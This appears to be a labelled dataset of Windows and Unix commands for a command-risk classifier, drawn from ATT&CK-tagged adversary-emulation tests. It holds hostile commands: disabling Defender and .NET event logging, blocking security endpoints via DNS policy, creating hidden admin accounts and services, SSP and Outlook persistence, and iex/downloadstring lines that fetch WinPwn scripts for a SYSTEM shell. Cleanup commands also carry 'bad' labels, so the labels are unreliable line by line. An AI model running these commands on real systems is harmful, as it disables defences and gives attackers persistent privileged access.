cowWhySo/permission-command-corpus huggingface dataset:
Command: reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" /v Enabled /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: LockBit Black - Disable the ETW Provider of Windows Defender -cmd
Notes: An adversary can disable the ETW Provider of Windows Defender,
so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
Command: New-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" -Name Enabled -PropertyType DWord -Value 0 -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: LockBit Black - Disable the ETW Provider of Windows Defender -Powershell
Notes: An adversary can disable the ETW Provider of Windows Defender,
so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
Command: Remove-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" -Name Enabled -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: LockBit Black - Disable the ETW Provider of Windows Defender -Powershell
Notes: An adversary can disable the ETW Provider of Windows Defender,
so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
Command: REG ADD HKCU\Environment /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - Cmd
Notes: Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using the reg.exe utility. In order for changes to take effect a logout might be required.
Command: REG DELETE HKCU\Environment /v COMPlus_ETWEnabled /f > nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - Cmd
Notes: Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using the reg.exe utility. In order for changes to take effect a logout might be required.
Command: New-ItemProperty -Path HKCU:\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType "String" -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - PowerShell
Notes: Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using PowerShell. In order for changes to take effect a logout might be required.
Command: Remove-ItemProperty -Path HKCU:\Environment -Name COMPlus_ETWEnabled
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - PowerShell
Notes: Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using PowerShell. In order for changes to take effect a logout might be required.
Command: REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - Cmd
Notes: Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using the reg.exe utility. In order for changes to take effect a reboot might be required.
Command: REG DELETE "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v COMPlus_ETWEnabled /f > nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - Cmd
Notes: Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using the reg.exe utility. In order for changes to take effect a reboot might be required.
Command: New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -Name COMPlus_ETWEnabled -Value 0 -PropertyType "String" -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - PowerShell
Notes: Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using PowerShell. In order for changes to take effect a reboot might be required.
Command: Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -Name COMPlus_ETWEnabled
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - PowerShell
Notes: Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using PowerShell. In order for changes to take effect a reboot might be required.
Command: Add-DnsClientNrptRule -Namespace ".endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table" Add-DnsClientNrptRule -Namespace "endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table" Clear-DnsClientCache
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Block Cybersecurity communication by leveraging Windows Name Resolution Policy Table
Notes: Adversaries are redirecting DNS queries to an incorrect or malicious DNS server IP, thereby blocking legitimate communications and potentially compromising the security infrastructure. This atomic test aims to respond with 127.0.0.1 when a DNS query is made for endpoint.security.microsoft.com.
Command: try { # Get all current NRPT rules $DnsClientNrptRules = Get-DnsClientNrptRule | Where-Object { $_.Comment -eq 'Silenced by Name Resolution Policy Table' } # Remove each NRPT rule foreach ($rule in $DnsClientNrptRules) { Remove-DnsClientNrptRule -Name $rule.Name -Force } # Clear DNS client cache Clear-DnsClientCache Write-Host "All NRPT rules have been removed and the DNS cache has been cleared." } catch { Write-Host "An error occurred: $_" } Clear-DnsClientCache
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.006
Platform: windows
ATT&CK tags: T1562.006
Source rule: Block Cybersecurity communication by leveraging Windows Name Resolution Policy Table
Notes: Adversaries are redirecting DNS queries to an incorrect or malicious DNS server IP, thereby blocking legitimate communications and potentially compromising the security infrastructure. This atomic test aims to respond with 127.0.0.1 when a DNS query is made for endpoint.security.microsoft.com.
Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:"#{output_file}" /target:exe "#{source_file}" %tmp%/T1106.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1106
Platform: windows
ATT&CK tags: T1106
Source rule: Execution through API - CreateProcess
Notes: Execute program by leveraging Win32 API's. By default, this will launch calc.exe from the command prompt.
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystem.ps1')
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1106
Platform: windows
ATT&CK tags: T1106
Source rule: WinPwn - Get SYSTEM shell - Pop System Shell using CreateProcess technique
Notes: Get SYSTEM shell - Pop System Shell using CreateProcess technique via function of WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1')
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1106
Platform: windows
ATT&CK tags: T1106
Source rule: WinPwn - Get SYSTEM shell - Bind System Shell using CreateProcess technique
Notes: Get SYSTEM shell - Bind System Shell using CreateProcess technique via function of WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1106
Platform: windows
ATT&CK tags: T1106
Source rule: WinPwn - Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique
Notes: Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique via function of WinPwn
Command: $PathToAtomicsFolder\T1106\bin\x64\syscall.exe -debug
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1106
Platform: windows
ATT&CK tags: T1106
Source rule: Run Shellcode via Syscall in Go
Notes: Runs shellcode in the current running process via a syscall.

Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Use syscall to execute the entrypoint of the shellcode

- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#syscall)
Command: Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1106
Platform: windows
ATT&CK tags: T1106
Source rule: Run Shellcode via Syscall in Go
Notes: Runs shellcode in the current running process via a syscall.

Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Use syscall to execute the entrypoint of the shellcode

- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#syscall)
Command: $macro = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1564\src\T1564-macrocode.txt") $macro = $macro -replace "aREPLACEMEa", "PathToAtomicsFolder\T1564\bin\extractme.bin" [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroCode "$macro" -officeProduct "Word" -sub "Extract" -NoWrap
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564
Platform: windows
ATT&CK tags: T1564
Source rule: Extract binary files via VBA
Notes: This module extracts a binary (calc.exe) from inside of another binary. 

In the wild maldoc authors will use this technique to hide binaries inside of files stored 
within the office document itself. An example of this technique can be seen in sample

f986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226

This sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2
is the same document without all the malicious code. Document 1 will copy Docume
Command: Remove-Item "$env:TEMP\extracted.exe" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564
Platform: windows
ATT&CK tags: T1564
Source rule: Extract binary files via VBA
Notes: This module extracts a binary (calc.exe) from inside of another binary. 

In the wild maldoc authors will use this technique to hide binaries inside of files stored 
within the office document itself. An example of this technique can be seen in sample

f986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226

This sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2
is the same document without all the malicious code. Document 1 will copy Docume
Command: net user $ ATOMIC123! /add /active:yes
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564
Platform: windows
ATT&CK tags: T1564
Source rule: Create a Hidden User Called "$"
Notes: Creating a user with a username containing "$"
Command: net user $ /DELETE 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564
Platform: windows
ATT&CK tags: T1564
Source rule: Create a Hidden User Called "$"
Notes: Creating a user with a username containing "$"
Command: New-LocalUser -Name "Administrator " -NoPassword
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564
Platform: windows
ATT&CK tags: T1564
Source rule: Create an "Administrator " user (with a space on the end)
Notes: Creating a user with a username containing with a space on the end
Command: Remove-LocalUser -Name "Administrator " 2>&1 | out-null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564
Platform: windows
ATT&CK tags: T1564
Source rule: Create an "Administrator " user (with a space on the end)
Notes: Creating a user with a username containing with a space on the end
Command: sc.exe create #{service_name} binPath= "#{executable_command}" sc sdset #{service_name} "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564
Platform: windows
ATT&CK tags: T1564
Source rule: Create and Hide a Service with sc.exe
Notes: The following technique utilizes sc.exe and sdset to change the security descriptor of a service and "hide" it from Get-Service or sc query.

Upon successful execution, sc.exe creates a new service changes the security descriptor.

https://twitter.com/Alh4zr3d/status/1580925761996828672
https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format
Command: sc sdset #{service_name} "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" sc.exe delete #{service_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564
Platform: windows
ATT&CK tags: T1564
Source rule: Create and Hide a Service with sc.exe
Notes: The following technique utilizes sc.exe and sdset to change the security descriptor of a service and "hide" it from Get-Service or sc query.

Upon successful execution, sc.exe creates a new service changes the security descriptor.

https://twitter.com/Alh4zr3d/status/1580925761996828672
https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format
Command: cmd /c "#{nircmd_location}" #{command_to_execute}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564
Platform: windows
ATT&CK tags: T1564
Source rule: Command Execution with NirCmd
Notes: NirCmd is used by threat actors to execute commands, which can include recon and privilege escalation via running commands via the SYSTEM account
See https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis
Command: cmd /c "#{nircmd_location}" #{cleanup_command_to_execute} -erroraction silentlycontinue | out-null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564
Platform: windows
ATT&CK tags: T1564
Source rule: Command Execution with NirCmd
Notes: NirCmd is used by threat actors to execute commands, which can include recon and privilege escalation via running commands via the SYSTEM account
See https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis
Command: $oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'); Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' -Value "$oldvalue"; $newvalue = "AtomicTest.dll"; Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $newvalue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.005
Platform: windows
ATT&CK tags: T1547.005
Source rule: Modify HKLM:\System\CurrentControlSet\Control\Lsa Security Support Provider configuration in registry
Notes: Add a value to a Windows registry Security Support Provider pointing to a payload .dll which will normally need to be copied in the system32 folder.
A common DLL used with this techquite is the minilib.dll from mimikatz, see https://pentestlab.blog/2019/10/21/persistence-security-support-provider/
Command: $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old'); Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value "$oldvalue"; Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old';
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.005
Platform: windows
ATT&CK tags: T1547.005
Source rule: Modify HKLM:\System\CurrentControlSet\Control\Lsa Security Support Provider configuration in registry
Notes: Add a value to a Windows registry Security Support Provider pointing to a payload .dll which will normally need to be copied in the system32 folder.
A common DLL used with this techquite is the minilib.dll from mimikatz, see https://pentestlab.blog/2019/10/21/persistence-security-support-provider/
Command: $oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'); Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' -Value "$oldvalue"; $newvalue = "AtomicTest.dll"; Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value $newvalue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.005
Platform: windows
ATT&CK tags: T1547.005
Source rule: Modify HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig Security Support Provider configuration in registry
Notes: Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.
Command: $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old'); Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value "$oldvalue"; Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old';
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.005
Platform: windows
ATT&CK tags: T1547.005
Source rule: Modify HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig Security Support Provider configuration in registry
Notes: Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.
Command: rm -rf /tmp/atomic-test-T1036.006
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.006
Platform: macos,linux
ATT&CK tags: T1036.006
Source rule: Space After Filename
Notes: Space after filename.
Command: #{curl_path} -k #{ip_lookup_url}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1614
Platform: windows
ATT&CK tags: T1614
Source rule: Get geolocation info through IP-Lookup services using curl Windows
Notes: Get geolocation info through IP-Lookup services using curl Windows. The default URL of the IP-Lookup service is https://ipinfo.io/. References: https://securelist.com/transparent-tribe-part-1/98127/ and https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/
Command: curl -k #{ip_lookup_url}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1614
Platform: macos,linux
ATT&CK tags: T1614
Source rule: Get geolocation info through IP-Lookup services using curl freebsd, linux or macos
Notes: Get geolocation info through IP-Lookup services using curl Windows. The default URL of the IP-Lookup service is https://ipinfo.io/. References: https://securelist.com/transparent-tribe-part-1/98127/ and https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/
Command: Stop-Process -Name "mimikatz" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1207
Platform: windows
ATT&CK tags: T1207
Source rule: DCShadow (Active Directory)
Notes: Use Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute.

[DCShadow](https://www.dcshadow.com/)
[Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)

It will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with:
Get-ADObject -LDAPFilter '(samaccountname=<user>)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount

Need SYSTEM privile
Command: reg.exe add HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137.004
Platform: windows
ATT&CK tags: T1137.004
Source rule: Install Outlook Home Page Persistence
Notes: This test simulates persistence being added to a host via the Outlook Home Page functionality. This causes Outlook to retrieve URL containing a malicious payload every time the targeted folder is viewed.

Triggering the payload requires manually opening Outlook and viewing the targetted folder (e.g. Inbox).
Command: reg.exe delete HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137.004
Platform: windows
ATT&CK tags: T1137.004
Source rule: Install Outlook Home Page Persistence
Notes: This test simulates persistence being added to a host via the Outlook Home Page functionality. This causes Outlook to retrieve URL containing a malicious payload every time the targeted folder is viewed.

Triggering the payload requires manually opening Outlook and viewing the targetted folder (e.g. Inbox).
Command: Start-Process "#{script_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.003
Platform: windows
ATT&CK tags: T1059.003
Source rule: Create and Execute Batch Script
Notes: Creates and executes a simple batch script. Upon execution, CMD will briefly launch to run the batch script then close again.
Command: Remove-Item "#{script_path}" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.003
Platform: windows
ATT&CK tags: T1059.003
Source rule: Create and Execute Batch Script
Notes: Creates and executes a simple batch script. Upon execution, CMD will briefly launch to run the batch script then close again.